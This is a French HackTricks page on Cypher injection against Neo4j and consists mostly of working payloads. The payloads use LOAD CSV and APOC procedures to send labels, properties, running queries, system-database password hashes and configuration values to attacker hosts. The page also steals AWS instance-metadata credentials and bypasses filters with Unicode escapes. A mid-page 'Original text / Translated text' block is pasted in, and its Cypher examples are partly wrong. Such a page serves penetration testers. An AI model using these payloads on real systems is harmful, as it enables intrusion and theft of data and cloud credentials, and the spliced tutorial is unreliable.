# Injection Cypher (neo4j)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Injections Cypher courantes Les déclarations **MATCH** et **WHERE** sont des **scénarios courants**. Lorsque nous avons trouvé une injection, la façon de l'exploiter dépend de l'**emplacement dans la requête**. Ci-dessous se trouve un tableau de différents emplacements d'injection et d'exemples d'exploitation : | Requête injectable | Injection | | ------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- | | `MATCH (o) WHERE o.Id='{input}'` | `' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //` | |

MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [different, values]

| `'=' {…} WITH 0 as _l00 RETURN 1 //` | | `MATCH (o) WHERE o:{input}` | `a {…} WITH 0 as _l00 RETURN 1 //` | | `` MATCH (o) WHERE o:`{input}` `` | ``a` {...} WITH 0 as _l00 RETURN 1 //`` | | `MATCH (o {id:'{input}'})` | `'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //` | | `MATCH (o:{input})` | `a) RETURN 1 UNION MATCH (n){...} RETURN 1//` | | ``MATCH (o:`{input}`)`` | ``a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //`` | | `MATCH (o)-[r {id:'{input}'})]-(o2)` | `'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//` | | `MATCH (o)-[r:{input}]-(o2)` | `a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //` | | ``MATCH (o)-[r:`{input}`]-(o2)`` | ``a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //`` | Notez la déclaration UNION : 1. La raison pour laquelle UNION est nécessaire est que si la déclaration MATCH ne renvoie rien, le reste de la requête ne s'exécutera pas. Ainsi, toutes les choses malveillantes que nous pourrions faire là-bas ne s'exécuteront tout simplement pas. 2. Nous ajoutons "RETURN 1" avant l'UNION afin que les deux parties renvoient les mêmes colonnes, ce qui est nécessaire pour que la requête s'exécute. Alors, qu'en est-il de la déclaration "WITH" ? En utilisant WITH, nous pouvons supprimer toutes les variables existantes. C'est important lorsque nous ne connaissons pas la requête (plus d'informations à ce sujet plus tard). Si notre charge utile essaie accidentellement de définir une variable qui existe déjà, la requête échouera. Naturellement, si nous connaissons la requête et la base de données, aucune de ces techniques n'est requise. Nous pouvons même manipuler les données renvoyées pour à son tour manipuler le processus au lieu de simplement abuser du serveur. ## Exfiltration HTTP Il est possible d'utiliser la méthode suivante pour exfiltrer des informations vers le domaine contrôlé par l'attaquant : ```sql LOAD CSV FROM 'https://attacker.com/' ``` Original text: ``` ## Cypher Injection (Neo4j) Cypher is a query language for Neo4j graph database. It is used to retrieve and manipulate data stored in the database. Cypher injection is a technique used to exploit vulnerabilities in web applications that use Neo4j as a backend database. ### Basic Injection The basic injection technique involves injecting Cypher code into the application's input fields. For example, consider the following Cypher query: ``` MATCH (n) RETURN n ``` An attacker can inject this code into an input field to retrieve all nodes in the database: ``` MATCH (n) RETURN n;-- ``` The semicolon is used to terminate the original query and the double dash is used to comment out the rest of the query. ### Union-Based Injection Union-based injection is a technique used to retrieve data from multiple tables in a single query. In Neo4j, this can be achieved using the `UNION` keyword. For example, consider the following query: ``` MATCH (n:User) RETURN n.name, n.email ``` An attacker can inject the following code to retrieve data from another table: ``` MATCH (n:User) RETURN n.name, n.email UNION MATCH (n:Admin) RETURN n.name, n.password ``` This code retrieves the name and email of all users and the name and password of all admins. ### Blind Injection Blind injection is a technique used to retrieve data without displaying it on the application's interface. This can be achieved using the `EXISTS` keyword. For example, consider the following query: ``` MATCH (n:User {username: 'admin', password: 'password'}) RETURN n.name ``` An attacker can inject the following code to check if the admin user exists: ``` MATCH (n:User) WHERE n.username='admin' AND EXISTS (MATCH (n) WHERE n.password='password') RETURN n.name ``` If the query returns a result, it means that the admin user exists and the password is correct. ``` Translated text: ``` ## Injection Cypher (Neo4j) Cypher est un langage de requête pour la base de données graphique Neo4j. Il est utilisé pour récupérer et manipuler les données stockées dans la base de données. L'injection Cypher est une technique utilisée pour exploiter les vulnérabilités des applications web qui utilisent Neo4j comme base de données backend. ### Injection de base La technique d'injection de base consiste à injecter du code Cypher dans les champs d'entrée de l'application. Par exemple, considérez la requête Cypher suivante : ``` MATCH (n) RETURN n ``` Un attaquant peut injecter ce code dans un champ d'entrée pour récupérer tous les nœuds de la base de données : ``` MATCH (n) RETURN n;-- ``` Le point-virgule est utilisé pour terminer la requête d'origine et les deux tirets sont utilisés pour commenter le reste de la requête. ### Injection basée sur l'union L'injection basée sur l'union est une technique utilisée pour récupérer des données à partir de plusieurs tables dans une seule requête. Dans Neo4j, cela peut être réalisé en utilisant le mot-clé `UNION`. Par exemple, considérez la requête suivante : ``` MATCH (n:User) RETURN n.name, n.email ``` Un attaquant peut injecter le code suivant pour récupérer des données d'une autre table : ``` MATCH (n:User) RETURN n.name, n.email UNION MATCH (n:Admin) RETURN n.name, n.password ``` Ce code récupère le nom et l'e-mail de tous les utilisateurs et le nom et le mot de passe de tous les administrateurs. ### Injection aveugle L'injection aveugle est une technique utilisée pour récupérer des données sans les afficher sur l'interface de l'application. Cela peut être réalisé en utilisant le mot-clé `EXISTS`. Par exemple, considérez la requête suivante : ``` MATCH (n:User {username: 'admin', password: 'password'}) RETURN n.name ``` Un attaquant peut injecter le code suivant pour vérifier si l'utilisateur admin existe : ``` MATCH (n:User) WHERE n.username='admin' AND EXISTS (MATCH (n) WHERE n.password='password') RETURN n.name ``` Si la requête renvoie un résultat, cela signifie que l'utilisateur admin existe et que le mot de passe est correct. ``` ```sql // Injection in: MATCH (o) WHEREo.Id='{input}' RETURN o // Injection to get all the preocedures ' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // ``` ## APOC La première chose qu'un attaquant devrait vérifier est **si APOC est installé**. APOC (awesome procedures on Cypher) est un plugin **extrêmement populaire**, officiellement pris en charge pour Neo4j qui améliore considérablement ses capacités. APOC ajoute de nombreuses **fonctions et procédures supplémentaires** que les développeurs peuvent utiliser dans leur environnement. Les attaquants peuvent utiliser les différentes procédures et fonctions offertes par APOC pour effectuer des attaques plus avancées. ### Procédures pour traiter les données et envoyer des requêtes HTTP * `apoc.convert.toJson` — convertit les nœuds, les cartes et plus encore en JSON * `apoc.text.base64Encode` — prend une chaîne et l'encode en base64 Il est possible de **définir des en-têtes** et **d'envoyer d'autres méthodes** que GET. Exemples: {% code overflow="wrap" %} ```sql CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list ``` {% endcode %} ### Procédures pour évaluer les requêtes * `apoc.cypher.runFirstColumnMany` - une fonction qui renvoie les valeurs de la première colonne sous forme de liste * `apoc.cypher.runFirstColumnSingle` - une fonction qui renvoie la première valeur de la première colonne * `apoc.cypher.run` - une procédure qui exécute une requête et renvoie les résultats sous forme de carte * `apoc.cypher.runMany` - une procédure qui exécute une requête ou plusieurs requêtes séparées par un point-virgule et renvoie les résultats sous forme de carte. Les requêtes s'exécutent dans une transaction différente. ## Extraction d'informations ### Version du serveur Une façon d'obtenir la version du serveur est d'utiliser la procédure `dbms.components()` ```sql ' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // ``` {% endcode %} ### Obtenir la requête en cours d'exécution Le plus simple est d'utiliser la procédure `dmbs.listQueries()`. ```sql ' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 // ``` {% endcode %} Dans Neo4j 5, `dbms.listQueries` a été supprimé. À la place, nous pouvons utiliser "SHOW TRANSACTIONS". Il y a deux limitations majeures : les requêtes SHOW ne sont pas injectables et contrairement à `listQueries`, nous ne pouvons voir que la requête actuellement exécutée dans la transaction et pas toutes les requêtes. Si APOC core est installé, nous pouvons l'utiliser pour exécuter SHOW TRANSACTIONS. Si nous exécutons dans la même transaction, seules les requêtes SHOW TRANSACTIONS seront retournées au lieu de la requête que nous essayons de voir. Nous pouvons utiliser `apoc.cypher.runMany` pour exécuter SHOW TRANSACTIONS, car contrairement aux autres fonctions et procédures apoc.cypher, elle s'exécute dans une transaction différente. ```sql ' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1// ``` ### Obtenir les étiquettes En utilisant la méthode intégrée **`db.labels`**, il est possible de lister toutes les étiquettes existantes. {% code overflow="wrap" %} ```sql '}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0 ``` ### Obtenir les propriétés d'une clé La fonction intégrée **`keys`** peut être utilisée pour **énumérer les clés des propriétés** (Cela ne fonctionnera pas si l'un des champs est une liste ou une carte.). {% code overflow="wrap" %} ```sql ' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 // ``` {% endcode %} Si APOC est disponible, il y a une meilleure façon de le faire en utilisant `apoc.convert.toJson`. ```sql ' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 // ``` ### Obtenir des fonctions et des procédures En utilisant les procédures intégrées **`dbms.functions()`** et **`dbms.procedures()`**, il est possible de lister toutes les fonctions et procédures. {% code overflow="wrap" %} ```sql ' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // ``` {% endcode %} {% code overflow="wrap" %} ```sql ' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // ``` {% endcode %} Ces procédures ont été supprimées dans Neo4j 5. Au lieu de cela, nous pouvons utiliser **`SHOW PROCEDURES`** et **`SHOW FUNCTIONS`.** Les requêtes SHOW ne peuvent pas être injectées. Si APOC core est installé, nous pouvons utiliser l'une des procédures ou fonctions qui exécutent des requêtes pour lister les fonctions et procédures. ```sql ' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // ``` ```sql ' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 // ``` ### Obtenir la base de données système La base de données système est une base de données Neo4j spéciale qui n'est normalement pas interrogeable. Elle contient des données intéressantes stockées sous forme de nœuds : * Bases de données * Rôles * Utilisateurs (y compris le hash du mot de passe !) En utilisant APOC, il est possible de récupérer les nœuds, y compris les hashes. Seuls les administrateurs peuvent le faire, mais dans la **version gratuite de Neo4j, il n'y a qu'un utilisateur administrateur et aucun autre utilisateur**, il n'est donc pas rare de se retrouver en train de s'exécuter en tant qu'administrateur. Utilisez la procédure **`apoc.systemdb.graph()`** pour récupérer les données. {% code overflow="wrap" %} ```sql ' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 // ``` {% endcode %} Neo4j utilise SimpleHash d'Apache Shiro pour générer le hash. Le résultat est stocké sous forme de chaîne de valeurs séparées par des virgules : * Algorithme de hachage * Hash * Sel * Itérations **Par exemple :** ```plaintext SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024 ``` ### **Obtenir les variables d'environnement** En utilisant APOC, il est possible de récupérer la variable d'environnement en utilisant la procédure **`apoc.config.map()`** ou **`apoc.config.list()`**. Ces procédures ne peuvent être utilisées que si elles sont incluses dans la liste des procédures non restreintes du fichier de configuration (dbms.security.procedures.unrestricted). Cela est plus courant qu'on ne le pense, et une recherche sur le nom du paramètre renvoie de nombreux sites et guides qui conseillent d'ajouter la valeur "apoc.\*", ce qui permet toutes les procédures APOC. ```sql ' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 // ``` **Note :** Dans Neo4j5, les procédures ont été déplacées vers APOC extended. ### Point de terminaison de métadonnées du cloud AWS #### IMDSv1 {% code overflow="wrap" %} ```sql LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _ ``` #### IMDSv2 Nous devons **spécifier les en-têtes** et nous devons **utiliser des méthodes autres que GET**. **`LOAD CSV`** ne peut pas faire l'une ou l'autre de ces choses, mais nous pouvons utiliser **`apoc.load.csvParams`** pour obtenir le jeton et le rôle, puis **`apoc.load.jsonParams`** pour obtenir les informations d'identification elles-mêmes. La raison pour laquelle nous utilisons csvParams est que la réponse n'est pas un JSON valide. {% code overflow="wrap" %} ```sql CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value ``` {% endcode %} #### Contacter directement l'API AWS {% code overflow="wrap" %} ```sql CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list ``` {% endcode %} * $data est formaté comme %Y%m%dT%H%M%SZ * $token est le jeton que nous avons obtenu à partir du serveur de métadonnées * $signed\_token est calculé selon https://docs.aws.amazon.com/general/latest/gr/signing\_aws\_api\_requests.html ## Contournement de WAF ### Injection Unicode Dans Neo4j >= v4.2.0, il est souvent possible d'**injecter de l'Unicode en utilisant "\uXXXX"**. Par exemple, vous pouvez utiliser cette méthode si le **serveur essaie de supprimer des caractères** tels que : ‘, ", \` et ainsi de suite. Cela peut ne pas fonctionner si une lettre suit la séquence d'échappement Unicode. Il est **sûr d'ajouter un espace** après ou une autre notation Unicode. Par exemple, si le serveur supprime les apostrophes, et que la requête ressemble à ce qui suit : ```sql MATCH (a: {name: '$INPUT'}) RETURN a ``` Il est possible d'injecter : {% code overflow="wrap" %} ```sql \u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o // ``` {% endcode %} ## Références * [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits) * [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).